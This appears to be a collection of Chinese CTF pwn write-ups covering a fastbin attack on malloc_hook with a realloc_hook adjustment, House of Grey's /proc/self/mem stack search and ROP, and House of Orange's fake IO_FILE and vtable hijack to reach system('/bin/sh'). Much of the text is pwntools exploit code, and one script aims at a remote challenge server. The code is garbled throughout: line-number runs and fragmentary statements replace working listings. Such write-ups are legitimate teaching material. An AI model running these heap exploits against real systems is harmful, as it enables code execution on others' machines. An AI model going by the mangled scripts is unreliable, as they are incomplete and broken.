fastbin attack打入 malloc_hook处 1 2 3 4 5 6 7 8 9 10 '\x00' * 0x80 0 )0x71 )0x33 )'\n' 0xA0 , p)0x68 , '\n' )
修改malloc_hook 由于直接修改malloc_hook为one_gadget,由于参数 [rsp + x] x 为0x30,0x50,0x70都不能使[rsp + x]为0,也就是说在执行execve的时候,第二个参数的内容没有满足为 0,所以不能触发get shell, 需要使用 realloc_hook来进行调整rsp的偏移,进而修改[rsp + x]满足为0,而在realloc_hook处,我们可以填写reallc的地址根据push来调整rsp的偏移,达到 [rsp + x]为0, 而在执行push完之后,就先进行判断 realloc_hook是否为0,若不为0,就先执行 realloc_hook处,这时我们就可以填写one_gadget 到realloc_hook处来打one_gadget
realloc_hook反汇编 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg> disass 0x7fe7cb0ea6c0
通过调试试出了两个one_gadget满足execve 第二个参数内容为0
malloc_hook = libc_base + 0x4526a, realloc_hook = realloc_addr + 2
malloc_hook = libc_base + 0xf1147, realloc_hook = realloc_addr + 20
execve执行情况如下 1 2 3 4 0x7fe7cb15715d <exec_comm+2285> call execve <0x7fe7cb132770>
payload构造如下 1 2 3 4 5 6 7 8 9 10 11 12 'realloc' ]'realloc_addr ' + hex (realloc_addr))0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ]3 ]'\x11' * (0x13 - 8 )20 ) '\n' 0x68 , p)
get shell exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 from pwn import *'amd64' , os = 'linux' , log_level='debug' )"timu" "./libc.so.6" '/lib/x86_64-linux-gnu/libc.so.6' "0.0.0.0" 0 1 1 lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : p32(x).decode() lambda x : p64(x).decode()lambda x : log.info(x)lambda : gdb.attach(io)def ad (size, data ):'Your choice :' , str (1 ))'Size:' , str (size))'Data:' , data)def rm (idx ):'Your choice :' , str (2 ))'Index:' , str (idx))def dp ():'Your choice :' , str (3 ))def exploit ():0x80 , 'A' * 0x80 ) 0x80 , 'B' * 0x80 ) 0x68 , 'C' * 0x68 ) 0xF0 , 'E\n' ) 0x68 , 'F\n' ) 2 )'C' * 0x60 0x190 )0x68 , p)2 ) 0 )3 )0x80 , 'A' * 16 + '\n' )'\x7f' )[-5 :] + '\x7f\x00\x00' ) - 0x58 0x3c4b20 'main_arena ' + hex (main_arena))'libc_base ' + hex (libc_base))'\x00' * 0x80 0 )0x71 )0x33 )'\n' 0xA0 , p)0x68 , '\n' ) 'realloc' ]'realloc_addr ' + hex (realloc_addr))0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ]3 ]'\x11' * (0x13 - 8 )20 )'\n' 0x68 , p)'1' )'1' )def finish ():if __name__ == '__main__' :if LOCAL:if LIB:"LD_PRELOAD" : libFile})else :else :if LIB:''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
House Of Grey 来源 World of Attack & Defense
难度 8 / 10
保护 1 2 3 4 5 Arch: amd64-64-little
简单描述 该题没有明显的分界点, 涉及的知识也比较陌生,十分经典. 通过创建子进程方式避免被直接调试,且有记时,保护全开,要理解linux下的一些文件.如 /proc/self/下的文件,通过seccomp-tools检验程序, 发现禁用execve函数,只能通过open,read,write获取flag
vul 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 void __fastcall fn (void *arg) unsigned __int64 v1; int fd; signed int i; int v4; int v5; void *v6; char buf[24 ]; void *v8; char nptr; unsigned __int64 v10; 0x28 u);puts ("You get into my room. Just find something!\n" );malloc (100000uLL );if ( !v6 )"malloc" );exit (1 );if ( (unsigned int )sub_14D2(100000LL ) )exit (1 );for ( i = 0 ; i <= 29 ; ++i )switch ( (unsigned int )&savedregs )case 1u :puts ("So man, what are you finding?" );signed int )((unsigned __int64)read(0 , buf, 40uLL ) - 1 )] = 0 ;if ( (unsigned int )check(buf) )puts ("Man, don't do it! See you^." );exit (1 );0 );if ( fd < 0 )"open" );exit (1 );return ;case 2u : puts ("So, Where are you?" );0 , &nptr, 0x20 uLL);0LL , 10 );0 ); break ;case 3u :puts ("How many things do you want to get?" );0 , &nptr, 8uLL );if ( v4 <= 100000 )if ( v5 < 0 )puts ("error read" );"read" );exit (1 );puts ("You get something:" );1 , v8, v5);else puts ("You greedy man!" );break ;case 4u :puts ("What do you want to give me?" );puts ("content: " );0 , v8, 0x200 uLL); break ;case 5u :exit (0 );return ;default :continue ;puts ("\nI guess you don't want to say Goodbye!" );puts ("But sadly, bye! Hope you come again!\n" );exit (0 );
vul: 存在堆栈溢出, 通过覆盖 v8实现任意地址读写
知识点 由于可以读取除了flag之外的文件，就可以读取/proc/self/maps文件,Linux 内核提供了一种通过 /proc 文件系统，在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统，它只存在内存当中，而不占用外存空间。读取/proc/self/maps可以得到当前进程的内存映射关系，通过读该文件的内容可以得到内存代码段基址。/proc/self/mem是进程的内存内容，通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取，需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域，只有读取的偏移值是被映射的区域才能正确读取内存内容。
程序最后有一个exit(0)，由此，覆盖fn函数的返回地址来构造ROP不可行，但可以覆盖read函数的返回地址，也就是调用read任意写时，把自己的返回地址给覆盖了,这样ROP写入后就直接开始执行了。为了覆盖read的返回地址，就需要确定栈的地址。
但是，由于程序是clone出来的，第三个参数指定了clone出的进程的栈地址，程序一开始用mmap映射了一段内存，然后取了其中的一个随机的位置传给了clone，由此，并不知道程序的栈地址。但是，可以通过读取/proc/self/mem文件，来搜索标记，已确定程序的栈地址, 注意,堆栈的生长方向是由高地址向低地址生长。
思路
如何调试? 使用ida把超时函数的exit给patch掉, 通过gdb attach的方式调试子进程
漏洞 1: 明显的漏洞点就在执行1功能的时候就有字符串溢出, 可以覆盖v8变量通过4功能实现任意地址写入.
漏洞 2: 可以通过输入打开文件为 /proc/self/maps来获取各个基址
绕过PIE，以及利用/proc/self/mem来读取任意地址的内容
通过在/proc/self/mem中搜索’/proc/self/maps’字符串来定位堆栈的地址
计算出read ret地址,构造rop链读取flag
利用 获取基址 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 sla('?' , 'y' )'/proc/self/maps' 1500 )'You get something:\n' )int (r(12 ), 16 )'[heap]\n' )int (r(12 ), 16 )'-' )int (r(12 ), 16 )'rw-p 00000000 00:00 0 \n' )int (r(12 ), 16 )'exe_base ' + hex (exe_base))'libc_base ' + hex (libc_base))'stack_start ' + hex (stack_start))'stack_end ' + hex (stack_end))0x1823 0x1821 'open' ]'read' ]'puts' ]
搜索内存定位read ret地址 接下来，就需要读取/proc/self/mem来搜索内存，确定栈地址了
1 2 3 4 for ( i = 0 ; i <= 29 ; ++i )
通过以上逻辑,程序只可以循环使用30次, 前面使用了4次, ，最后还需要用2次,搜索内存只能使用24次.
而每次最多允许读取100000个字节的数据，由此，能搜索2400000个字节的内容，通过调试，观察数据的栈地址，计算它与stack_end的值的差值，做一个大致的范围,由于栈是从高往低增长的，因此，应该从stack_end – x ~ stack_end搜索
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 0xf800000 'debug---------------' )24 * 100000 'stack_begin_offset ' + hex (stack_begin_offset))'stack_end ' + hex (stack_end))'/proc/self/mem' )for i in range (0 , 24 ): 100000 )'1.Find something' )if '/proc/self/mem' in text:'/proc/self/mem' )[0 ] //若找到, 切割该字符串,获取前面的内容长度.break if i == 23 :'not found' )0 )100000 + len (content) - 0x14 'v8_addr: ' + hex (v8_addr))0x60 - 0x08 ) + 0x20 'read_ret: ' + hex (read_ret))
构造rop链 在这里,只能通过写入read的 ret地址, 因为只有在刚读取完成之后, 返回的地址才不会被覆盖, 其他函数修改是被覆盖的,没有效果.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 p = '/proc/self/mem' .ljust(24 , '\x00' ) + p64(read_ret)''' read(fd, buf, length) 1 RDI 0x0 #fd 2 RSI 0x7fd5ffbc3640 ◂— '/proc/self/mem' #buf 3 RDX 0x28 #length ''' 15 * 8 )0 ) + p64(0 ) + p64(open_plt)6 )15 * 8 ) + p64(0 ) + p64(read_plt)15 * 8 ) + p64(puts_plt)'./flag\x00'
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 from pwn import *'amd64' , os = 'linux' , log_level='debug' )"house_of_grey" "" "111.198.29.45" 44908 0 0 lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.send(x)lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : p32(x).decode() lambda x : p64(x).decode()lambda x : log.info(x)lambda : gdb.attach(io)def fid (text ):'5.Exit\n' , '1' )'?' , text)def loc (offset ):'5.Exit\n' , '2' )'?' , str (offset))def get (length ):'5.Exit\n' , '3' )'?' , str (length))def giv (text ):'5.Exit\n' , '4' )'?' , text)def q (text ):'5.Exit\n' , '5' )def exploit ():'?' , 'y' )'/proc/self/maps' 1500 )'You get something:\n' )int (r(12 ), 16 )'[heap]\n' )int (r(12 ), 16 )'-' )int (r(12 ), 16 )'rw-p 00000000 00:00 0 \n' )int (r(12 ), 16 )'exe_base ' + hex (exe_base))'libc_base ' + hex (libc_base))'stack_start ' + hex (stack_start))'stack_end ' + hex (stack_end))0x1823 0x1821 'open' ]'read' ]'puts' ]0xf800000 'debug---------------' )24 * 100000 'stack_begin_offset ' + hex (stack_begin_offset))'stack_end ' + hex (stack_end))'/proc/self/mem' )for i in range (0 , 24 ):100000 )'1.Find something' )if '/proc/self/mem' in text:'/proc/self/mem' )[0 ]break if i == 23 :'not found' )0 )100000 + len (content) - 0x14 'v8_addr: ' + hex (v8_addr))0x60 - 0x08 ) + 0x20 'read_ret: ' + hex (read_ret))'/proc/self/mem' .ljust(24 , '\x00' ) + p64(read_ret)''' 3 RDX 0x28 #length 1 RDI 0x0 #fd 2 RSI 0x7fd5ffbc3640 ◂— '/proc/self/mem' #buffer ''' 15 * 8 )0 ) + p64(0 ) + p64(open_plt)6 )15 * 8 ) + p64(0 ) + p64(read_plt)15 * 8 ) + p64(puts_plt)'./flag\x00' def finish ():if __name__ == '__main__' :if LOCAL:if LIB:"LD_PRELOAD" : libFile})else :else :if LIB:
House Of Orange 来源 2016 ctf-HITCON
环境 libc: libc.2.23
Unbuntu16
难度 8 / 10
保护 1 2 3 4 5 6 Arch: amd64-64-little
简单描述 保护全开,有添加功能和编辑功能,只能添加4次,每次添加都会malloc三次分别储存不同的信息, 可以编辑三次,没有free函数,是经典的 House Of Orange漏洞利用类型.
vul 1 2 3 4 5 length = InputNum();if ( length > 0x1000 )4096 ; printf ("Name:" );void *)qword_203068[1 ], length);
申请大小小于0x1000时,存在堆溢出漏洞.
知识点 House of orange ( modify top chunk realize free, unsoted bin attack, small bin attack, IO_FILE)
思路 使用堆溢出修改top chunk大小(按照内存对其), 再申请一个大小大于top chunk size 的chunk,然而old top chunk就会被free掉,申请一个large bin大小的chunk,由于large bin申请成功后fd_nextsize和bk_nextsize会指向自身地址,可以泄漏heap地址,然而,申请的位置也恰好含有以前所剩的main_arena信息,所以直接打印即可泄漏libc. 后面就通过unsorted bin attack修改IO_list_all为main_arena + 0x58, 然后根据small bin管理机制,修改main_arena + 0x58处的fake IO_FILE的chain的值指向伪造的IO_FILE,而使伪造堆块满足fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base 然后会调用vtable中的__overflow 函数,然而我们可以伪造再一个vtable,实现在调用__overflow的时候调用我们的函数,这里函数就改为system,传入参数需要在伪造的IO_FILE头部写入’/bin/sh\x00’然后在unsoretd bin被破坏之后再次申请时报错, 那触发异常就会打印错误信息,malloc_printerr是malloc中用来打印错误的函数，而 malloc_printerr其实是调用 __libc_message函数之后调用abort函数，abort函数其中调用了_IO_flush_all_lockp, 然后根据IO_list_all中的值去遍历IO_FILE调用IO_FILE 的vtable中的 __overflow函数指针, 然后就可以调用system 传入 ‘/bin/sh\00’ get shell
利用 准备 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *'amd64' , os = 'linux' , log_level='debug' )'houseoforange' '/lib/x86_64-linux-gnu/libc.so.6' "0.0.0.0" 0 1 1 lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.send(x)lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' )lambda : gdb.attach(io)def ad (size, data ):'Your choice : ' , str (1 ))'name :' , str (size))'Name :' , data)'Price of Orange:' , str (16 ))'Orange:' , '1' );def md (size, data ):'Your choice : ' , str (3 ))'name :' , str (size))'Name:' , data)'Price of Orange:' , str (16 ))'Orange:' , '1' );def dp ():'Your choice : ' , str (2 ))def q ():':' , str (5 ))
修改top chunk size实现free的效果 原理 House of Orange的核心在于在没有free函数的情况下得到一个释放的堆块(unsorted bin),这种操作的原理简单来说是当前堆的top chunk尺寸不足以满足申请分配的大小的时候，原来的top chunk会被释放并被置入unsorted bin中，通过这一点可以在没有free函数情况下获取到unsorted bins
来看一下这个过程的详细情况，假设目前的top chunk已经不满足malloc的分配需求。 首先我们在程序中的malloc调用会执行到libc.so的_int_malloc函数中，在_int_malloc函数中，会依次检验fastbin、small bins、unsorted bin、large bins是否可以满足分配要求，因为尺寸问题这些都不符合。接下来_int_malloc函数会试图使用top chunk，在这里top chunk也不能满足分配的要求，因此会执行如下分支。
1 2 3 4 5 6 7 8 9 else {void *p = sysmalloc(nb, av);if (p != NULL && __builtin_expect (perturb_byte, 0 ))return p;
此时ptmalloc已经不能满足用户申请堆内存的操作，需要执行sysmalloc来向系统申请更多的空间。 但是对于堆来说有mmap和brk两种分配方式，需要让堆以brk的形式拓展，之后原有的top chunk会被置于unsorted bin中。
综上，要实现brk拓展top chunk，但是要实现这个目的需要绕过一些libc中的check，首先，malloc的尺寸不能大于mmp_.mmap_threshold
1 if ((unsigned long )(nb) >= (unsigned long )(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))
如果所需分配的 chunk 大小大于 mmap 分配阈值，默认为 128K，并且当前进程使用 mmap()分配的内存块小于设定的最大值，将使用 mmap()系统调用直接向操作系统申请内存。
在sysmalloc函数中存在对top chunk size的check，如下
1 2 3 4 assert((old_top == initial_top(av) && old_size == 0 ) ||unsigned long ) (old_size) >= MINSIZE &&unsigned long )old_end & pagemask) == 0 ));
这里检查了top chunk的合法性，如果第一次调用本函数，top chunk可能没有初始化，所以可能old_size为0，如果top chunk已经初始化了，那么top chunk的大小必须大于等于MINSIZE，因为top chunk中包含了 fencepost，所以top chunk的大小必须要大于MINSIZE。其次Top chunk必须标识前一个chunk处于inuse状态，并且top chunk的结束地址必定是页对齐的。此外top chunk除去fencepost的大小必定要小于所需chunk的大小，否则在_int_malloc()函数中会使用top chunk分割出chunk
总结一下伪造的top chunk size的要求
1.伪造的size必须要对齐到内存页
2.size要大于MINSIZE(0x10)
3.size要小于之后申请的chunk size + MINSIZE(0x10)
4.size的prev inuse位必须为1
之后原有的top chunk就会执行_int_free从而顺利进入unsorted bin中
回到题中,就要得满足以上要求
1 2 3 4 5 6 7 pwndbg> x /40gx 0x555555758060
然而 0x555555758060 + 0x0000000000020fa1 == 0x555555779001 , 去掉inuse位,则内存是按照0x1000对齐的,则我们所能修改top chunk的大小就可以为: (x * 0x1000 + 0x20fa1) > MINSIZE(0x10) (x 属于 整数),题中在添加的时候,最多只能申请大小为0x1000,那我们就通过堆溢出把top chunk size 改为: 0x0fa1, 然后再申请大于这个top chunk size的chunk就可以实现top chunk free后成为unsoted bin
1 2 3 4 5 6 7 8 ad(0x10 , 'A' * 0x10 )'A' * 0x10 0 ) + p64(0x21 ) 0x1f00000010 )0 )0 ) 0x00fa1 ) 0x80 , p)
实现如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pwndbg> bin0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x0 0x70 : 0x0 0x80 : 0x0 0x5555557580a0 —▸ 0x7ffff7dd1b78 (main_arena+88 ) ◂— 0x5555557580a0
Leak libc and heap addr 申请一个小于刚才释放 unsoted bin 大小的一个chunk,根据unsoted bin的分割特性,会把main_arena转移,且不会清空chunk 的fd和bk的内容,所以main_arena还存在,直接打印即可获取main_arena地址泄漏libc,但在添加的时候要输入内容,为了得到完整的main_arena地址信息,就填充8个字符到chunk bk位置从而泄漏完整地址, 为了后面要采取伪造fake IO_FILE结构,就要得修改vtable指向当前伪造的虚函数表,那就要得知道heap地址了, 那怎么泄漏 heap地址呢? 由于large bin 大小的chunk有一个特点,申请成功的chunk 的 fd_nextsize和bk_nextsize会填充为自己的地址
large bin申请成功后,会向fd_nextsize和bk_nextsize填充自己的地址代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 if (fwd != bck)0 );if ((unsigned long ) (size) < (unsigned long ) (bck->bk->size))else 0 );while ((unsigned long ) size < fwd->size)0 );if ((unsigned long ) size == (unsigned long ) fwd->size)else else
成功malloc(0x400)后填充’C’ * 8 的堆数据如下
1 2 3 4 pwndbg> x /40gx 0x5555557580c0
利用
1 2 3 4 5 6 7 8 9 10 11 12 0x400 , 'C' * 0x8 )'\x7f' )[-5 :] + '\x7f\x00\x00' ) - main_arena - 1640 'libc_base ' + hex (lib.address))0x10 , 'C' * 0x10 )'CCCCCCCCCCCCCCCC' )'\x0a' ).ljust(8 , '\x00' )) - 0xc0 'heap ' + hex (heap))
触发异常劫持控制流程 怎么触发呢? 只要破坏unsorted bin 链表结构,再次申请时就会触发异常,那触发异常就会打印错误信息,malloc_printerr是malloc中用来打印错误的函数，而 malloc_printerr其实是调用 __libc_message函数之后调用abort函数，abort函数其中调用了_IO_flush_all_lockp, 然后根据IO_list_all中的值去遍历IO_FILE调用IO_FILE 的vtable中的 __overflow函数指针
unsorted bin attack 修改 _IO_list_all 如何进行劫持,采用修改old top chunk 的结构,使之报错,然而我们只需要采用unsorted bin attack修改_IO_list_all的值为unsorted_chunks(av)也就是main_arena + 0x58.修改这个有什么用? 本来_IO_list_all的值是指向_IO_2_1_stderr,若修改这个值,那么在malloc报错的时候就会遍历_IO_list_all 指向的IO_FILE结构体，详细后面会说道.
unsorted bin attack 实现攻击源码
1 2 3 4 5 6 7 8 9 if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&unsigned long ) (size) > (unsigned long ) (nb + MINSIZE)) {
实现修改如下
1 2 3 4 5 6 7 8 9 10 11 12 13 pwndbg> x /10gx &_IO_list_all
利用
1 2 3 4 5 6 7 8 9 10 'B' * 0x400 0 )0x21 )'B' * 0x10 0 ) 0x100 ) 0 ) + p64(_IO_list_all - 0x10 )
劫持流程 若下次申请大小为0x10的时候, 由于unsorted bin 的结构已经被修改, 0x10 <= 2*SIZE_SZ，就会触发malloc_printerr
1 2 3 4 5 6 7 8 9 10 11 for (;; )int iters = 0 ;while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0 )0 ))"malloc(): memory corruption" ,
那么在执行malloc_printerr函数就会执行到_IO_flush_all_lockp, 来了解一下_IO_flush_all_lockp 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 int _IO_flush_all_lockp (int do_lock)int result = 0 ;#ifdef _IO_MTSAFE_IO #endif for (fp = (FILE *) _IO_list_all; fp != NULL ; fp = fp->_chain)if (do_lock)if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) 0 0 && (fp->_wide_data->_IO_write_ptrif (do_lock)NULL ;#ifdef _IO_MTSAFE_IO 0 );#endif return result;
在_IO_flush_all_lockp函数中会根据_IO_list_all中的值,依次遍历IO_FILE,那我们就想法设法构建自己的IO_FILE,若IO_FILE满足fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base 然后会调用vtable中的__overflow 函数,我们就可以伪造一个vtable,实现在调用__overflow的时候调用我们的函数
来了解一下IO_FILE_plus结构体.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 struct _IO_FILE_plus （size_of =0x78 +0x8 ）const struct _IO_jump_t *vtable ;struct _IO_FILE {int _flags; #define _IO_file_flags _flags char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ;struct _IO_FILE *_chain ;int _fileno;#if 0 int _blksize;#else int _flags2;#endif #define __HAVE_COLUMN unsigned short _cur_column;signed char _vtable_offset;char _shortbuf[1 ];#ifdef _IO_USE_OLD_IO_FILE struct _IO_FILE_complete { struct _IO_FILE _file ;#endif #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 # if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T struct _IO_codecvt *_codecvt ;struct _IO_wide_data *_wide_data ;struct _IO_FILE *_freeres_list ;void *_freeres_buf;# else void *__pad1;void *__pad2;void *__pad3;void *__pad4;# endif size_t __pad5;int _mode;char _unused2[15 * sizeof (int ) - 4 * sizeof (void *) - sizeof (size_t )];#endif
vtable表中结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 struct _IO_jump_t
后面就将这个__overflow 修改为system, 然而在调用这些函数指针的时候,传入的参数是IO_FILE的地址,所以后面我们需要在自己伪造的IO_FILE的头部填入’/bin/sh\x00’,若能使_IO_flush_all_lockp函数在遍历的时候遍历到我们伪造的IO_FILE,且IO_FILE满足_IO_overflow函数的调用条件, 这样就能实现get shell,那么怎样才能让我们伪造的IO_FILE连接到我们自己伪造的IO_FILE呢?
那使用unsorted bin attack修改_IO_list_all中main_arena + 0x58,后面就要得修改main_arena + 0x58处fkae IO_FILE的 chain为我们的fake IO_FILE地址,这样在执行_IO_flush_all_lockp就会根据自己伪造的IO_FILE调用我们所伪造的vtable函数了.但关键是怎样使_IO_flush_all_lockp 在遍历 IO_FILE的时候能遍历到我们伪造的IO_FILE,就要靠下面的操作了.
修改main_arena fake file中的chain 指向我们即将伪造的IO_FILE 上面的_chain 的值是我们重点要如何在main_arena + 0x58处IO_FILE中设置这个值为咱们可以掌控的fake IO_FILE地址,然而unsorted bin的链表结构已经被破坏,再次申请的时候,old top chunk就不受unsorted bin 管理,注意若大小小于0x400 的bin的管理顺序为unsorted bin -> small bin,若我们修改old top chunk size 为小于0x400,就可以让当前chunk受small bin进行管理,而在small bin管理的时候, 各个大小的bin的链表头部地址会储存在main_arena中,若我们想要实现修改 main_arena + 0x58处 IO_FILE中的 _chain的值,就需要靠small bin的管理机制来进行修改
若我们能够计算好大小,就能实现在main_arena部分内存中储存我们的chunk地址.下面为修改old top chunk大小为0x50所看到main_arena + 0x58中IO_FILE的结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 pwndbg> p *((struct _IO_FILE_plus*)((long int)&main_arena + 0x58))$4 = {"/bin/sh" , "/bin/sh" , "" , "\360\204uUUU" , "\360\204uUUU" , "\210\033\335\367\377\177" , "\210\033\335\367\377\177" , "\230\033\335\367\377\177" , "\230\033\335\367\377\177" , "/bin/sh" , "/bin/sh" , '\335' , "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000"
那么还差0x10,就改old top chunk size 为0x60,即可在main_arena 向下偏移0x10进行储存,这就实现了在main_arena + 0x58伪造IO_FILE中实现连接我们伪造的IO_FILE,实现效果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 pwndbg> p *((struct _IO_FILE_plus*)0x00007ffff7dd1b78)$2 = {"/bin/sh" , "/bin/sh" , "" , "\360\204uUUU" , "\360\204uUUU" , "\210\033\335\367\377\177" , "\210\033\335\367\377\177" , "\230\033\335\367\377\177" , "\230\033\335\367\377\177" , "\250\033\335\367\377\177" , "\250\033\335\367\377\177" , '\335' , "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000"
利用如下:
1 2 3 4 5 6 7 8 9 10 11 'B' * 0x400 0 )0x21 )'B' * 0x10 '/bin/sh\x00' 0x61 ) 0 ) + p64(_IO_list_all - 0x10 )
伪造IO_FILE 上面就实现了修改main_arena + 0x58 中 fake IO_FILE的_chain指向我们的old top chunk,那么就在old top chunk伪造IO_FILE,在伪造的时候必须要得通过检查
1 2 3 4 5 6 7 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) 0 0 && (fp->_wide_data->_IO_write_ptr
则fp->_mode <= 0 且fp->_IO_write_ptr > fp->_IO_write_base 且_IO_vtable_offset (fp) == 0,这样才能执行_IO_OVERFLOW (fp, EOF) == EOF)
那么利用就可以这样写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 '/bin/sh\x00' 0x61 ) 0 ) 0x10 ) 0 ) 1 ) 0 ) 0 ) 0 ) 0 ) 0 ) 0 ) 0 ) 0 ) 0 ) 0 ) 1 ) 2 ) 3 ) 4 ) 0 ) 0 ) 6 ) 0 ) 0 ) 0 ) 0 ) 0 ) 0 )
修改结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pwndbg> p *((struct _IO_FILE_plus*)0x5555557584f0)$1 = {"" , '\003' , "\004" , '\000' <repeats 19 times >
伪造 vtable 1 2 3 4 5 6 7 p += f0 ) * 3 0x5c8 ) 0 ) * 2 'system' ]) 0x600 , p)
修改结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 pwndbg> p *((struct _IO_FILE_plus*)0x5555557584f0).vtable$2 = {
getshell 再次申请 0x10的时候, 由于unsorted bin 的结构已经被修改, 0x10 <= 2*SIZE_SZ，就会触发malloc_printerr,然后就开始执行各种已经布局好的各种trick,最终执行到system get shell
1 2 3 4 5 6 7 8 9 10 11 for (;; )int iters = 0 ;while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0 )0 ))"malloc(): memory corruption" ,
